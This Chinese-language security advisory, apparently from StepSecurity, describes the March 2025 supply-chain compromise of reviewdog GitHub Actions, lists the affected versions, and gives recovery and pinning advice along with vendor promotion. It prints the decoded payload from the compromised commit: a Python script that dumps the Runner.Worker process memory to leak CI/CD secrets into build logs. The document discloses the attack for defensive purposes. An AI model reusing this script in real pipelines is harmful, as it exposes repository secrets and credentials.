reviewdog GitHub Actions 遭到入侵

reviewdog GitHub Actions 供应链攻击已得到解决

本文总结了此次事件的发生过程、发现方式以及您应该采取的措施来保护您的工作流程。

引言

我们已完成对 reviewdog 组织中多个 GitHub Actions 供应链攻击的调查。独立研究员 Adnan Khan 于 2025 年 3 月 17 日首次披露了该事件。受影响的 Action——reviewdog/action-setup@v1——被发现包含恶意代码,旨在从 GitHub Actions 运行器中窃取 CI/CD 密钥。同一天,​Wiz 发布了该攻击的深入分析

维护者已采取纠正措施从事件中恢复,恢复时间线、技术发现和建议的缓解措施详见下文。虽然直接威胁已得到控制,但这一事件凸显了 CI/CD 工作流程中供应链攻击的更大风险,以及主动防御的重要性。

关键事件时间线

  • 2025 年 3 月 17 日 01:00 AM UTC – 研究员 Adnan Khan 公开披露了此次攻击。
  • 2025 年 3 月 18 日 09:00 PM UTC – 维护者发布了回应并确认攻击发生在 2025 年 3 月 11 日 18:42 至 20:31 UTC 之间。

事件概述

独立研究员 Adnan Khan 于 3 月 17 日星期一 01:00 AM UTC 通过一条推文披露了这一事件。

该研究员在一个恶意 Action 版本被执行的工作流程中识别出了一个样本。以下截图显示,在该运行期间,reviewdog/action-setup@v1 标签引用了提交 SHA f0d342d24037bb11d26b9bd8496e0808ba32e9ec。

该提交包含以 base64 格式编码的攻击有效载荷。

https://github.com/reviewdog/action-setup/commit/f0d342d24037bb11d26b9bd8496e0808ba32e9ec

该提交包含以 base64 编码格式的攻击有效载荷。以下是解码后的有效载荷:

javascript
#!/usr/bin/env python3 # based on https://davidebove.com/blog/?p=1620 import sys import os import re def get_pid(): # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] for pid in pids: with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f: if b'Runner.Worker' in cmdline_f.read(): return pid raise Exception('Can not get pid of Runner.Worker') if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue

此有效载荷与 tj-actions/changed-files 事件类似,会访问 Runner.Worker 进程内存以窃取 GitHub Actions 密钥。被窃取的密钥随后会被打印在 GitHub Actions 工作流程日志中。以下是样本运行中截图,显示了构建日志中泄露的密钥。

reviewdog 组织中的 此 GitHub 代码搜索 显示,还有几个其他复合 Actions 依赖于 reviewdog/action-setup Action。下面我们列出了使用 reviewdog/action-setup 的复合 reviewdog Actions。

  1. reviewdog/action-shellcheck
  2. reviewdog/action-composite-template
  3. reviewdog/action-staticcheck
  4. reviewdog/action-ast-grep
  5. reviewdog/action-typos

由于 reviewdog/action-setup 已受到攻击,可以安全地假设上述 reviewdog 组织中的 Actions 列表也已受到攻击。

维护者的回应

事件背景

reviewdog GitHub Actions 的维护者已确认此次安全漏洞并提供了更多细节。根据他们的调查,攻击目标是 reviewdog/action-setup@v1,可能导致其他广泛使用的 GitHub Actions(包括 tj-actions/changed-files)受到攻击。因此,使用这些 Actions 的仓库可能无意中泄露了敏感信息。

攻击发生在 2025 年 3 月 11 日,时间为 18:42 至 20:31 UTC。

攻击是如何发生的?

攻击者成功地将恶意代码推送到了 reviewdog/action-setup 的 v1 标签。reviewdog 组织的贡献者管理流程似乎在此次事件中发挥了作用。reviewdog/action-* 仓库的贡献者会被自动邀请到一个对这些仓库具有写权限的维护者团队。在攻击发生时,该团队有 118 名成员,这增加了账户被攻击的可能性。

虽然确切的利用方法仍在调查中,但维护者怀疑攻击者要么入侵了现有贡献者的账户,要么通过自动邀请流程获得了写权限。reviewdog 维护者澄清说,贡献者对主 reviewdog 仓库或 errorformat 等核心项目没有写权限。

受影响的 GitHub Actions

以下 reviewdog Actions 已确认受到影响:

  • reviewdog/action-setup@v1(其他标签也可能受到影响,尽管尚未发现证据)
  • reviewdog/action-shellcheck@{<v1.29.2}
  • reviewdog/action-composite-template@{<v0.20.2}
  • reviewdog/action-staticcheck@{<v1.26.2}
  • reviewdog/action-ast-grep@{<v1.26.2}
  • reviewdog/action-typos@{<v1.17.2}

其他 reviewdog Actions 也可能受到影响,但目前尚未发现更多证据。

维护者采取的措施

作为应对措施,维护者已实施多项安全措施:

  • 禁用了自动贡献者邀请工作流程,以防止未经授权的访问。
  • 撤销了大多数贡献者的写权限,只允许少数受信任的维护者拥有。
  • 更新了所有 reviewdog 仓库,明确使用 GitHub Actions 的完整提交 SHA 而非版本标签进行引用。
  • 使用提交 SHA 固定了 reviewdog 二进制安装脚本。
  • 审查了安全日志,未发现与维护者和机器人账户相关的可疑活动。
  • 轮换了与维护者和机器人账户关联的个人访问令牌(PAT)。

恢复步骤

🚨 如果您正在使用 reviewdog 组织中的以下任何 Actions,我们强烈建议您立即停止使用,直到事件得到解决。

  1. reviewdog/action-setup
  2. reviewdog/action-shellcheck
  3. reviewdog/action-composite-template
  4. reviewdog/action-staticcheck
  5. reviewdog/action-ast-grep
  6. reviewdog/action-typos

如果可能,请停止使用所有 reviewdog Actions,直到事件的影响范围明确。

审查 Actions 清单

您应该在您的仓库中执行代码搜索,以发现所有 reviewdog Actions 的使用实例。例如,以下 GitHub 搜索 URL 显示了 Actions GitHub 组织的信息:

https://github.com/search?q=org%3Aactions+reviewdog&type=code 请注意,此 GitHub 搜索并不总是返回准确的结果。如果您有专门的源代码搜索解决方案(如 SourceGraph),它们在查找此 Action 的所有使用实例方面可能更有效。

审查 GitHub Actions 工作流程运行日志

您应该审查 reviewdog Actions 最近执行的日志,查看是否有密钥泄露。以下是泄露的密钥在构建日志中显示的示例。

此步骤对于公共仓库尤其重要,因为它们的日志是公开可访问的。

轮换泄露的密钥

如果您在 GitHub Actions 工作流程运行日志中发现任何密钥,请立即轮换它们。

固定 GitHub Actions

您应该将 GitHub Actions 固定到完整长度的提交 SHA,以确保您的工作流程始终使用不可变引用。StepSecurity 社区版允许维护者免费将 Actions 固定到其完整长度的提交 SHA。您可以在此处阅读有关 StepSecurity 自动化功能以固定 Actions 的信息。

适用于 StepSecurity 企业客户

以下步骤仅适用于 StepSecurity 企业客户。如果您不是现有企业客户,可以通过安装 StepSecurity GitHub App 开始 14 天免费试用,以完成以下恢复步骤。

发现泄露的密钥

我们专门添加了一个新的控制项来检测因此次安全事件而在构建日志中泄露的密钥。您可以在 StepSecurity 仪表板上找到新的控制项。

审查 Actions 清单

您可以使用 Actions 清单功能来发现所有使用 reviewdog Actions 的 GitHub Actions 工作流程。

使用 StepSecurity 维护的 reviewdog/actions-setup Action

StepSecurity 维护的 Actions 通常仅供 StepSecurity 企业客户使用。

要使用 StepSecurity 维护的 reviewdog/actions-setup Action,只需将所有 " reviewdog/actions-setup@vx" 替换为 "step-security/reviewdog-action-setup@fab6de28ae8bc2a032c9e655d990afa450edb995 # v1.3.2 " 或 " step-security/reviewdog-action-setup@v1".

为增强安全性,您可以固定到特定提交 SHA:

更多详情,请参阅项目自述文件

在整个组织中固定 GitHub Actions

您可以使用 StepSecurity 固定仪表板控制来发现组织中所有未固定的 Actions,并通过自动拉取请求进行固定。

后续步骤

此事件现已得到解决。维护者已发布完整回应并实施了重要的长期安全控制。

🚨 更多供应链攻击可能接踵而至

由于 tj-actions 攻击和此次 reviewdog 事件中泄露的凭据,可能已经发生了其他供应链攻击——或者可能在不久的将来发生。攻击者可能重用泄露的凭据来攻击更多 GitHub Actions,因此主动保护您的 CI/CD 管道至关重要。

👉 想知道您的工作流程有多安全?​ 将您的仓库通过 Secure Repo 运行,以评估风险、检测配置错误并锁定您的 CI/CD 管道。

让我们共同走在供应链威胁的前面。